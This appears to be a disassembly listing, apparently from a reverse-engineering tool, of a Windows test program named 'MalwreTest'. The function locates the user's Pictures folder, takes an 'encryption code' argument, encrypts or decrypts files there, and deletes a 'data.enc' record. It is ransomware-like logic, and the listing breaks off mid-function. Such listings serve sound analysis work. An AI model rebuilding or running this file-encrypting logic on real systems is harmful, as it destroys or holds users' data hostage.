Function at 0x140004dc0
Capabilities:
Delete file
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x380
mov rax, qword [0x1400df040]
xor rax, rsp
mov qword [rsp + 0x378], rax
mov rsi, rdx
mov edi, ecx
xor r12d, r12d
lea rdx, str.Starting_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400080a0
lea rdx, [0x140008060]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.USERPROFILE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rbx, rax
test rax, rax
jne 0x140004e60
lea rdx, str.Could_not_find_the_home_directory.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400080a0
lea rdx, [0x140008060]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400063f7
lea rax, str.MalwreTest
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0xa
call fcn.1400921ec
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x80], xmm0
lea r8, [rsp + 0x80]
mov edx, eax
lea rcx, [rsp + 0x300]
call fcn.140001e80
nop
lea rax, str.Pictures
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 8
call fcn.1400921ec
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x80], xmm0
lea r8, [rsp + 0x80]
mov edx, eax
lea rcx, [rsp + 0x2e0]
call fcn.140001e80
nop
mov qword [rsp + 0x40], rbx
mov r13, 0xffffffffffffffff
mov rax, r13
nop
inc rax
cmp byte [rbx + rax], 0
jne 0x140004ef0
mov qword [rsp + 0x48], rax
call fcn.1400921ec
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x80], xmm0
lea r8, [rsp + 0x80]
mov edx, eax
lea rcx, [rsp + 0x2c0]
call fcn.140001e80
nop
lea r8, [rsp + 0x2e0]
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x2a0]
call fcn.140002390
nop
lea r8, [rsp + 0x300]
mov rdx, rax
lea rcx, [rsp + 0x320]
call fcn.140002390
nop
mov rdx, qword [rsp + 0x2b8]
cmp rdx, 7
jbe 0x140004fab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fa6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a64
movdqa xmm0, xmmword [0x1400cb570]
movdqu xmmword [rsp + 0x2b0], xmm0
mov word [rsp + 0x2a0], r12w
mov rdx, qword [rsp + 0x2d8]
cmp rdx, 7
jbe 0x140005018
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000500b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000500b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a64
movdqa xmm0, xmmword [0x1400cb570]
movdqu xmmword [rsp + 0x2d0], xmm0
mov word [rsp + 0x2c0], r12w
mov rdx, qword [rsp + 0x2f8]
cmp rdx, 7
jbe 0x14000507d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005070
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005070
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a64
movdqa xmm0, xmmword [0x1400cb570]
movdqu xmmword [rsp + 0x2f0], xmm0
mov word [rsp + 0x2e0], r12w
mov rdx, qword [rsp + 0x318]
cmp rdx, 7
jbe 0x1400050e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400050d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a64
movdqa xmm0, xmmword [0x1400cb570]
movdqu xmmword [rsp + 0x310], xmm0
mov word [rsp + 0x300], r12w
mov edx, 0x400
lea rcx, [rsp + 0xf0]
call fcn.14000be40
nop
mov ecx, 0x10
call fcn.140092a20
mov r15, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x90], rax
lea r14, [rax + 0x10]
mov qword [rsp + 0x70], r14
mov qword [rsp + 0xa0], r14
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rsp + 0x98], r14
mov r8d, 0x10
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0xf0]
call fcn.140008350
nop
lea rcx, [rsp + 0x100]
call fcn.140007110
nop
mov r8d, 3
lea rdx, str.data.enc
lea rcx, [rsp + 0x118]
call fcn.140007a80
xor r8d, r8d
test rax, rax
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x100]
je 0x1400051aa
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400051b8
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x100]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
mov byte [rsp + 0x20], al
test al, al
je 0x14000545c
cmp edi, 2
je 0x140005395
lea rdx, str.Provide_the_encryption_code_as_the_only_argument.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400080a0
nop
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x100], rax
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rsp + rcx + 0xfc], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x198], 0
je 0x140005288
lea rcx, [rsp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rsp + 0x188]
cmp rax, rcx
jne 0x140005288
mov r9, qword [rsp + 0x1a8]
mov rdx, qword [rsp + 0x1a0]
mov r8, rdx
lea rcx, [rsp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
cmp byte [rsp + 0x194], 0
je 0x14000529f
lea rcx, [rsp + 0x118]
call fcn.1400079c0
lea rcx, [rsp + 0x118]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x120]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x1b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400052f7
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
mov r8d, 1
call fcn.14000de60
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
test r15, r15
je 0x140005335
mov rdx, qword [rsp + 0xa0]
sub rdx, r15
cmp rdx, 0x1000
jb 0x14000532c
add rdx, 0x27
mov rcx, qword [r15 - 8]
sub r15, rcx
lea rax, [r15 - 8]
cmp rax, 0x1f
ja 0x14000638c
mov r15, rcx
mov rcx, r15
call fcn.140092a64
nop
lea rcx, [rsp + 0xf0]
call fcn.14000bfb0
nop
mov rdx, qword [rsp + 0x338]
cmp rdx, 7
jbe 0x14000538b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x320]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005386
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400063e9
call fcn.140092a64
mov eax, 1
jmp 0x1400063f7
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x40], rcx
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x1400053a1
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x80], xmm0
mov r8b, 1
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x2e0]
call fcn.14000b560
mov rbx, rax
lea rax, [rsp + 0x28]
cmp rax, rbx
je 0x140005433
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x14000540e
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
mov r8d, 1
call fcn.14000de60
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
mov rax, qword [rbx]
mov qword [rsp + 0x28], rax
mov rax, qword [rbx + 8]
mov qword [rsp + 0x30], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x38], rax
mov qword [rbx], r12
mov qword [rbx + 8], r12
mov qword [rbx + 0x10], r12
mov rcx, qword [rsp + 0x2e0]
test rcx, rcx
je 0x140005457
mov rdx, qword [rsp + 0x2f0]
sub rdx, rcx
mov r8d, 1
call fcn.14000de60
nop
jmp 0x1400054ec
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x2a0], xmm0
mov qword [rsp + 0x2b0], r12
mov rbx, qword [rsp + 0x30]
sub rbx, qword [rsp + 0x28]
je 0x1400054df
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x140006429
mov edx, 1
mov rcx, rbx
call fcn.14000ddc0
mov rdi, rax
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x2a8], rax
lea rcx, [rax + rbx]
mov qword [rsp + 0x2b0], rcx
mov rbx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
sub rbx, rdx
mov r8, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rbx]
mov qword [rsp + 0x2a8], rax
lea rcx, [rsp + 0x2a0]
call fcn.140004bd0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x2a0], xmm0
mov qword [rsp + 0x2b0], r12
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x60]
call fcn.140007ec0
test eax, eax
jne 0x14000642f
mov rbx, qword [rsp + 0x68]
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x140005557
lock inc dword [rbx + 8]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov r15, qword [rsp + 0x90]
mov qword [rsp + 0x58], r15
mov rbx, qword [rsp + 0x68]
mov qword [rsp + 0x50], rbx
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x40], xmm0
test rbx, rbx
je 0x14000558f
lock inc dword [rbx + 8]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov r15, qword [rsp + 0x90]
mov qword [rsp + 0x58], r15
mov rbx, qword [rsp + 0x68]
mov qword [rsp + 0x50], rbx
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x228], xmm1
test rbx, rbx
je 0x140005600
mov eax, r13d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400055dc
mov rbx, qword [rsp + 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400055dc
mov rbx, qword [rsp + 0x68]
mov qword [rsp + 0x50], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
jmp 0x1400055e6
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x50], rcx
mov r15, qword [rsp + 0x90]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x70], rax
mov r14, qword [rsp + 0x2a8]
nop dword [rax + rax]
mov rsi, qword [rsp + 0x40]
cmp rsi, qword [rsp + 0x228]
je 0x140006110
lea rdx, [rsp + 0xc0]
mov rcx, rsi
call fcn.1400030f0
mov edx, dword [rsp + 0xc8]
mov rax, qword [rsp + 0xc0]
test edx, edx
je 0x140005655
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x140006446
cmp eax, 2
jne 0x140005e2a
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsi + 0x20]
cmp qword [rsi + 0x38], 7
jbe 0x140005674
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x240], rcx
mov qword [rsp + 0x248], rax
call fcn.1400921ec
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0xb0], xmm0
lea r8, [rsp + 0xb0]
mov edx, eax
lea rcx, [rsp + 0x2c0]
call fcn.14000a1d0
nop
lea rdx, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 0xf
cmova rdx, qword [rsp + 0x2c0]
mov r8, qword [rsp + 0x2d0]
mov rcx, rdi
call fcn.140009690
lea rdx, [0x1400cb30c]
mov rcx, rax
call fcn.1400080a0
mov rdi, rax
lea rdx, [rsp + 0xd0]
mov rcx, rsi
call fcn.1400030f0
mov edx, dword [rsp + 0xd8]
mov rcx, qword [rsp + 0xd0]
test edx, edx
je 0x140005726
lea r9d, [rcx - 1]
test r9d, 0xfffffff7
jne 0x140006457
cmp ecx, 2
sete dl
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
lea rdx, [0x140008060]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x2d8]
cmp rdx, 0xf
jbe 0x14000578d
inc rdx
mov rcx, qword [rsp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005787
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005787
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a64
nop
cmp byte [rsp + 0x20], 0
je 0x140005b7d
lea rdx, str.already_exists_ig_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400080a0
lea rdx, [0x140008060]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], 0xf
mov byte [rsp + 0x2c0], 0
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x100]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x100]
call fcn.140009850
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14000587b
cmp r14, qword [rsp + 0x2b0]
je 0x140005856
lea rdx, [rsp + 0x2c0]
mov rcx, r14
call fcn.140007610
add r14, 0x20
mov qword [rsp + 0x2a8], r14
jmp 0x1400057e2
lea r8, [rsp + 0x2c0]
mov rdx, r14
lea rcx, [rsp + 0x2a0]
call fcn.140009a10
mov r14, qword [rsp + 0x2a8]
jmp 0x1400057e2
mov rbx, qword [rsp + 0x2a0]
cmp rbx, r14
je 0x140005b2e
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140005899
mov rdx, qword [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400080a0
lea rdx, [0x140008060]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400058c2
mov rdi, qword [rbx]
lea rcx, [rsi + 0x20]
cmp qword [rsi + 0x38], 7
jbe 0x1400058d1
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x250], rcx
mov qword [rsp + 0x258], rax
call fcn.1400921ec
movaps xmm0, xmmword [rsp + 0x250]
movdqa xmmword [rsp + 0xb0], xmm0
lea r8, [rsp + 0xb0]
mov edx, eax
lea rcx, [rsp + 0x2e0]
call fcn.14000a1d0
mov rax, r13
inc rax
cmp byte [rdi + rax], 0
jne 0x140005915
lea rcx, [rsp + 0x2e0]
mov rsi, qword [rsp + 0x2e0]
mov r15, qword [rsp + 0x2f8]
cmp r15, 0xf
cmova rcx, rsi
mov r8, qword [rsp + 0x2f0]
cmp r8, rax
jne 0x14000595c
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000595c
mov dil, 1
jmp 0x14000595f
xor dil, dil
cmp r15, 0xf
jbe 0x140005999
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140005991
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005991
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140092a64
test dil, dil
je 0x140005b1b
lea rax, [rsp + 0x300]
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x300], xmm0
mov qword [rsp + 0x310], r12
mov rdi, qword [rsp + 0x30]
sub rdi, qword [rsp + 0x28]
je 0x140005a35
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140006468
mov edx, 1
mov rcx, rdi
call fcn.14000ddc0
mov rsi, rax
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], rax
lea rcx, [rax + rdi]
mov qword [rsp + 0x310], rcx
mov rdi, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
sub rdi, rdx
mov r8, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rdi]
mov qword [rsp + 0x308], rax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x220], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], r12
mov rsi, qword [rsp + 0x70]
mov r15, qword [rsp + 0x58]
sub rsi, r15
je 0x140005a9a
mov rdx, rsi
lea rcx, [rsp + 0x2e0]
call fcn.140009330
mov rdi, qword [rsp + 0x2e0]
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rsi]
mov qword [rsp + 0x2e8], rax
mov rsi, qword [rsp + 0x40]
lea rcx, [rsi + 0x20]
cmp qword [rsi + 0x38], 7
jbe 0x140005aae
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x260], rcx
mov qword [rsp + 0x268], rax
call fcn.1400921ec
movaps xmm0, xmmword [rsp + 0x260]
movdqa xmmword [rsp + 0xb0], xmm0
lea r8, [rsp + 0xb0]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.14000a1d0
nop
lea r9, [rsp + 0x300]
lea r8, [rsp + 0x2e0]
mov edx, 1
lea rcx, [rsp + 0x280]
call fcn.140003bf0
add rbx, 0x20
jmp 0x140005883
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
add rbx, 0x20
jmp 0x140005883
mov rdx, qword [rsp + 0x2d8]
cmp rdx, 0xf
jbe 0x140005e2a
inc rdx
mov rcx, qword [rsp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a64
jmp 0x140005e2a
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x100]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
jne 0x140005bef
mov r8d, 0xb
lea rdx, str.data.enc
lea rcx, [rsp + 0x118]
call fcn.140007a80
xor r8d, r8d
test rax, rax
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x100]
je 0x140005be1
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140005bef
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rsi + 0x20]
cmp qword [rsi + 0x38], 7
jbe 0x140005bfe
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x278], rax
call fcn.1400921ec
movaps xmm0, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0xb0], xmm0
lea r8, [rsp + 0xb0]
mov edx, eax
lea rcx, [rsp + 0x2c0]
call fcn.14000a1d0
nop
lea rdx, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 0xf
cmova rdx, qword [rsp + 0x2c0]
mov r8, qword [rsp + 0x2d0]
lea rcx, [rsp + 0x110]
call fcn.140009690
lea rdx, [0x140008060]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x2d8]
cmp rdx, 0xf
jbe 0x140005cc6
inc rdx
mov rcx, qword [rsp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005cc1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a64
lea rax, [rsp + 0x300]
mov qword [rsp + 0xb0], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x300], xmm0
mov qword [rsp + 0x310], r12
mov rbx, qword [rsp + 0x30]
sub rbx, qword [rsp + 0x28]
je 0x140005d59
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x14000646e
mov edx, 1
mov rcx, rbx
call fcn.14000ddc0
mov rdi, rax
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], rax
lea rcx, [rax + rbx]
mov qword [rsp + 0x310], rcx
mov rbx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
sub rbx, rdx
mov r8, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rbx]
mov qword [rsp + 0x308], rax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x220], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], r12
mov rdi, qword [rsp + 0x70]
sub rdi, r15
je 0x140005db9
mov rdx, rdi
lea rcx, [rsp + 0x2e0]
call fcn.140009330
mov rbx, qword [rsp + 0x2e0]
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rdi]
mov qword [rsp + 0x2e8], rax
lea rcx, [rsi + 0x20]
cmp qword [rsi + 0x38], 7
jbe 0x140005dc8
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
call fcn.1400921ec
movaps xmm0, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0xe0], xmm0
lea r8, [rsp + 0xe0]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.14000a1d0
nop
lea r9, [rsp + 0x300]
lea r8, [rsp + 0x2e0]
xor edx, edx
lea rcx, [rsp + 0x280]
call fcn.140003bf0
nop
lea rcx, [rsp + 0x40]
call fcn.1400036e0
test eax, eax
jne 0x140006474
jmp 0x140005610
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140006163
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000614c
mov rbx, qword [rsp + 0x48]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000614c
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdi, qword [rsp + 0x90]
mov r14, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x68]
jmp 0x14000616d
mov rdi, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400061b3
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400061a3
mov rbx, qword [rsp + 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], r13d
cmp r13d, 1
jne 0x1400061a3
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + 8]
mov r14, qword [rsp + 0x2a8]
mov rdi, qword [rsp + 0x90]
lea rcx, [rsp + 0x118]
call fcn.1400079c0
test rax, rax
jne 0x1400061ea
mov rax, qword [rsp + 0x100]
movsxd r8, dword [rax + 4]
lea rcx, [rsp + 0x100]
add rcx, r8
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp byte [rsp + 0x20], 0
je 0x1400061ff
lea rcx, str.data.enc
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rbx, qword [rsp + 0x2a0]
test rbx, rbx
je 0x14000625f
lea r8, [rsp + 0x2a0]
mov rdx, r14
mov rcx, rbx
call fcn.140008bf0
mov rdx, qword [rsp + 0x2b0]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140006256
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006256
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
